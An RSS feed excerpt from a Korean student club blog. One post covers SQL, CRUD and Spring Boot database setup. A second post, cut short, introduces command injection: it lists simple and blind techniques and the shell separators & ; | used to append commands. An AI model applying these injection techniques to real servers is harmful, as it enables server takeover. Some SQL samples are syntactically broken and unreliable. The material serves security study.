&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;04. &amp;nbsp;SQL&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. SELECT - 데이터 조회&lt;/p&gt;
&lt;pre id=&quot;code_1778030956213&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;SELECT * FROM student;  // student 테이블에서 모든 컬럼(*)의 데이터를 가져옴&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. INSERT - 새로운 데이터를 테이블에 삽입할 때 사용&lt;/p&gt;
&lt;pre id=&quot;code_1778031034649&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;INSERT INTO student (id, name, major) VALUES (1, '김건지', '정보보호학과');&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. DDL CREATE - 새로운 데이터베이스 객체를 생성할 때 사용. 아래의 경우는 테이블 생성&lt;/p&gt;
&lt;pre id=&quot;code_1778031165287&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;CREATE TABLE student(
	id int AUTO_INCREMENT PRIMARY KEY,
	name VARCHAR(255) NOT NULL,
	major VARCHAR(255) NOT NULL,
);&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;+) id 컬럼: 정수타입, 데이터 추가 시 자동 증가(AUTO_INCREMENT), 고유 식별자(PRIMARY KEY)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;+) name, major컬럼: 최대 255자의 가변 문자열(VARCHAR), 빈 값 허용 안함(NOT NULL)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;실습)) 데이터베이스 &amp;ldquo;swlug26&amp;rdquo;를 만들고, swlug26에 &amp;ldquo;student&amp;rdquo; 테이블을 만들어주세요. &amp;lsquo;student&amp;rdquo;릴레이션의 카디널리티는 2로 하고, 릴레이션의 차수는 3으로 속성은 자유롭게 해주세요.&lt;/span&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1778036783942&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;--swlug26 데이터베이스 생성
CREATE DATABASE swlug26;
--swlug26 데이터 베이스 선택
SHOW DATABASES;
USE swlug26;
--student 테이블 생성
CREATE TABLE student(
	id int AUTO_INCREMENT PRIMARY KEY,
	name VARCHAR(255) NOT NULL,
	major VARCHAR(255) NOT NULL,
);
-- 데이터 삽입
INSERT INTO student (id, name, major) 
VALUES (1, '김세은', '정보보호학과');
VALUES (2, '김건지', '정보보호학과');&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;05. &amp;nbsp;CRUD&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;:데이터의 처리를 관리하는 4가지 기본연산&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. Create: 새로운 데이터 추가&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. Read: 저장된 데이터 검색&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. Update: 저장된 데이터 편집&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4. Delete: 저장된 데이터 삭제&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;06. &amp;nbsp;User Table 설계&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. 필요한 데이터가 무엇인지&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;: 이름, 아이디, 비밀번호&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. 데이터의 유형&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이름 - 문자열&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아이디 - 문자열&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;비밀번호 - 문자열&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. 속성 체크&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이름, 아이디, 비밀번호 - 필수(Not NULL)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아이디 - 중복방지(unique)&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 90px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 18px;&quot;&gt;
&lt;td style=&quot;width: 25%; height: 18px;&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 18px;&quot;&gt;데이터 타입&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 18px;&quot;&gt;NULL 허용&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 18px;&quot;&gt;추가 속성&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 18px;&quot;&gt;
&lt;td style=&quot;width: 25%; height: 18px;&quot;&gt;id&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 18px;&quot;&gt;int&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 18px;&quot;&gt;FALSE&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 18px;&quot;&gt;Auto_increment&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 18px;&quot;&gt;
&lt;td style=&quot;width: 25%; height: 18px;&quot;&gt;name&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 18px;&quot;&gt;varchar&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 18px;&quot;&gt;FALSE&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 18px;&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 18px;&quot;&gt;
&lt;td style=&quot;width: 25%; height: 18px;&quot;&gt;userId&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 18px;&quot;&gt;varchar&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 18px;&quot;&gt;FALSE&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 18px;&quot;&gt;unique&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 18px;&quot;&gt;
&lt;td style=&quot;width: 25%; height: 18px;&quot;&gt;password&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 18px;&quot;&gt;varchar&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 18px;&quot;&gt;FALSE&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 18px;&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;프로젝트 실습 1차 - 쇼핑몰 프로젝트&lt;/h3&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;01. 상품 등록 및 조회&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;02. 장바구니&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;03. 주문하기&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;04. 회원가입 / 로그인&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;( REST API 사용 예정 ):REST라는 규칙(자원을 이름으로 구분하여 그 상태정보를 주고받는 아키텍쳐)을 지키면서 서버의 데이터를 가져오거나 수정할 수 있도록 함&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. Spring Initializr 페이지 접속 후 프로젝트 세팅&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-06 오후 1.44.50.png&quot; data-origin-width=&quot;2514&quot; data-origin-height=&quot;1644&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dBhBw8/dJMcaiQIIK1/yyWK5q5WxDyTzGUGpdgmE0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dBhBw8/dJMcaiQIIK1/yyWK5q5WxDyTzGUGpdgmE0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dBhBw8/dJMcaiQIIK1/yyWK5q5WxDyTzGUGpdgmE0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdBhBw8%2FdJMcaiQIIK1%2FyyWK5q5WxDyTzGUGpdgmE0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;599&quot; height=&quot;392&quot; data-filename=&quot;스크린샷 2026-05-06 오후 1.44.50.png&quot; data-origin-width=&quot;2514&quot; data-origin-height=&quot;1644&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. 프로젝트 생성 후 다운로드 / 압축 풀기&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. IntelliJ -&amp;gt; open -&amp;gt; 다운받은 파일 선택&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4. 프로젝트 생성 완료&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;+) Spring Initializr를 통해 생성하였기 때문에 자동 구성 기능을 실행해주는 @SpringBootApplication이 추가되어있음&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-06 오후 2.17.13.png&quot; data-origin-width=&quot;2692&quot; data-origin-height=&quot;860&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/nHFYn/dJMcacptH1q/viN8uzdKbbNv4Oe27iidLk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/nHFYn/dJMcacptH1q/viN8uzdKbbNv4Oe27iidLk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/nHFYn/dJMcacptH1q/viN8uzdKbbNv4Oe27iidLk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FnHFYn%2FdJMcacptH1q%2FviN8uzdKbbNv4Oe27iidLk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2692&quot; height=&quot;860&quot; data-filename=&quot;스크린샷 2026-05-06 오후 2.17.13.png&quot; data-origin-width=&quot;2692&quot; data-origin-height=&quot;860&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;5. 레포지토르 fork 받기&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;DB &amp;nbsp;생성&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. 터미널 -&amp;gt; mysql&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-06 오후 2.27.23.png&quot; data-origin-width=&quot;1446&quot; data-origin-height=&quot;550&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bNNSCr/dJMcaiQIN4H/xeEqYyHdDN0gj6PtkANrqK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bNNSCr/dJMcaiQIN4H/xeEqYyHdDN0gj6PtkANrqK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bNNSCr/dJMcaiQIN4H/xeEqYyHdDN0gj6PtkANrqK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbNNSCr%2FdJMcaiQIN4H%2FxeEqYyHdDN0gj6PtkANrqK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;421&quot; height=&quot;160&quot; data-filename=&quot;스크린샷 2026-05-06 오후 2.27.23.png&quot; data-origin-width=&quot;1446&quot; data-origin-height=&quot;550&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. database 생성&lt;/p&gt;
&lt;pre id=&quot;code_1778044938118&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#database 생성
create database [데이터베이스명];

#생성된 database 확인
show databases;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-06 오후 2.30.06.png&quot; data-origin-width=&quot;668&quot; data-origin-height=&quot;558&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/epHwpT/dJMcaaFdHM1/kgtWvBIcdaKANe61k7twsK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/epHwpT/dJMcaaFdHM1/kgtWvBIcdaKANe61k7twsK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/epHwpT/dJMcaaFdHM1/kgtWvBIcdaKANe61k7twsK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FepHwpT%2FdJMcaaFdHM1%2FkgtWvBIcdaKANe61k7twsK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;322&quot; height=&quot;269&quot; data-filename=&quot;스크린샷 2026-05-06 오후 2.30.06.png&quot; data-origin-width=&quot;668&quot; data-origin-height=&quot;558&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. 디렉터리 생성 후 코드 작성&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;: resources 디렉토리 하위에&lt;span&gt; application.properties &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;파일 생성 후 설정 파일 코드 작성&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1778053707570&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;spring.application.name=shop  // 애플리케이션의 이름을 shop으로 지정

#MYSQL
spring.datasource.driver-class-name=com.mysql.cj.jdbc.Driver
spring.datasource.url=jdbc:mysql://localhost:3306/{DB명}?sercerTimezone=UTC
spring.datasource.username={username}
spring.datasource.password={password}

#실행 쿼리 출력
spring.jpa.properties.hibernate.show_sql=true

#쿼리 포맷 설정
spring.jpa.properties.hibernate.format_sql=true

#바인드 파라미터 출력
logging.level.org.hibernate.type.descriptor.sql=trace

#데이터베이스 초기화 전략 - DDL AUTO 옵션
spring.jpa.hibernate.ddl-auto=create

#데이터베이스 방언 설정
spring.jpa.database-platform=org.hibernate.dialect.MySQL8Dialect&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;+) driver-class-name &amp;nbsp;; 자바와 MYSQL을 이어주는 통역사(Driver)지정&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;localhost : 3306 ; 내 맥북 내부 주소&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ddl-auto=create ; 애플리케이션이 시작될 때 기존 테이블을 다 삭제(Drop)하고, 엔티티 코드를 바탕으로&amp;nbsp;새 테이블을 생성(Create)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;database-platform ; MYSQL 8 버전 특유의 SQL문법을 사용하도록 지정&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;DDL AUTO 옵션&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;: 엔티티 객체를 참고하여 애플리케이션 실행 시점에 nibernate에서 자동으로 DDL을 만들때 옵션&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;+) 엔티티: Entitiy. 데이터베이스의 테이블과 1:!로 대응되는 자바 클래스&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;DDL: Data Definition Language&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- none : 아무것도 하지 않음(실제 배포시)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- create : 기존 테이블 삭제 후 테이블 생성&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- create-drop : 기존 테이블 삭제 후 테이블 생성 + 종료시 테이블 삭제&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- update : 변경된 스키마 적용하여 데이터 유지&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-validate : 엔티티와 테이블 정상 매핑 확인&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4. 정상실행 확인&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-06 오후 4.57.06.png&quot; data-origin-width=&quot;1370&quot; data-origin-height=&quot;556&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bg9Rir/dJMcahxy2LF/moqAnBesiS6Q5HKX9FGGO1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bg9Rir/dJMcahxy2LF/moqAnBesiS6Q5HKX9FGGO1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bg9Rir/dJMcahxy2LF/moqAnBesiS6Q5HKX9FGGO1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbg9Rir%2FdJMcahxy2LF%2FmoqAnBesiS6Q5HKX9FGGO1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;550&quot; height=&quot;223&quot; data-filename=&quot;스크린샷 2026-05-06 오후 4.57.06.png&quot; data-origin-width=&quot;1370&quot; data-origin-height=&quot;556&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;깃허브 계정&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-06 오후 2.37.11.png&quot; data-origin-width=&quot;1360&quot; data-origin-height=&quot;636&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/xN8LN/dJMcaiXtDM3/g2Kn3wXqe0D5rQ0HlZR1e1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/xN8LN/dJMcaiXtDM3/g2Kn3wXqe0D5rQ0HlZR1e1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/xN8LN/dJMcaiXtDM3/g2Kn3wXqe0D5rQ0HlZR1e1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FxN8LN%2FdJMcaiXtDM3%2Fg2Kn3wXqe0D5rQ0HlZR1e1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;355&quot; height=&quot;166&quot; data-filename=&quot;스크린샷 2026-05-06 오후 2.37.11.png&quot; data-origin-width=&quot;1360&quot; data-origin-height=&quot;636&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>SWLUG(2026)/유지보수</category>
      <author>batterygj</author>
      <guid isPermaLink="true">https://batterygj.tistory.com/73</guid>
      <comments>https://batterygj.tistory.com/73#entry73comment</comments>
      <pubDate>Wed, 6 May 2026 17:05:12 +0900</pubDate>
    </item>
    <item>
      <title>[3주차] Command injection</title>
      <link>https://batterygj.tistory.com/72</link>
      <description>&lt;h3 data-ke-size=&quot;size23&quot;&gt;command injection : 검증되지 않은 사용자 입력이 OS명령어로 실행될 때 발생하는 취약점&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Shell injection이라고도 함&lt;/li&gt;
&lt;li&gt;작은 입력 조작으로 서버 권한을 탈취할 수 있음&lt;/li&gt;
&lt;li&gt;웹과 OS보안 경계를 무너뜨림&lt;/li&gt;
&lt;li&gt;애플리케이션 및 데이터를 완전 장악할 수 있음&lt;/li&gt;
&lt;li&gt;서버 인프라 확장 공격(pivoting)을 할 수 있게 함&lt;/li&gt;
&lt;li&gt;신뢰 관계를 악용하여 조직 내 다른 시스템을 공격&lt;/li&gt;
&lt;/ul&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;commend injection 공격 기법&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. 단순 주입 &amp;nbsp;ex) echo, whoami&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;: 사용자 입력이 서버의 운영체제 명령 실행 과정에 직접 포함되는 취약점&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. Blind 공격 ex) 시간지연, 출력 리다이렉션, 외부 서버 통신&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;: 공격자는 입력값 뒤에 명령어 구분자(&amp;amp; ; | 등)을 붙여 추가 명령 실행 가능&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. 명령어 구분자(&amp;amp; ; | 등) 활용&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;: 결과가 보이지 않는 경우엔 즉시 확인 가능. 보이지 않는 경우(Blind)에도 다양한 방식으로 공격 가능&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;기본 명령어&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;: 공격자가 시스템에 들어가면 &quot;지금 내가 어디 있는지, 무슨 권한인지&quot; 확인하기위해 아래의 명령어부터 실행&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
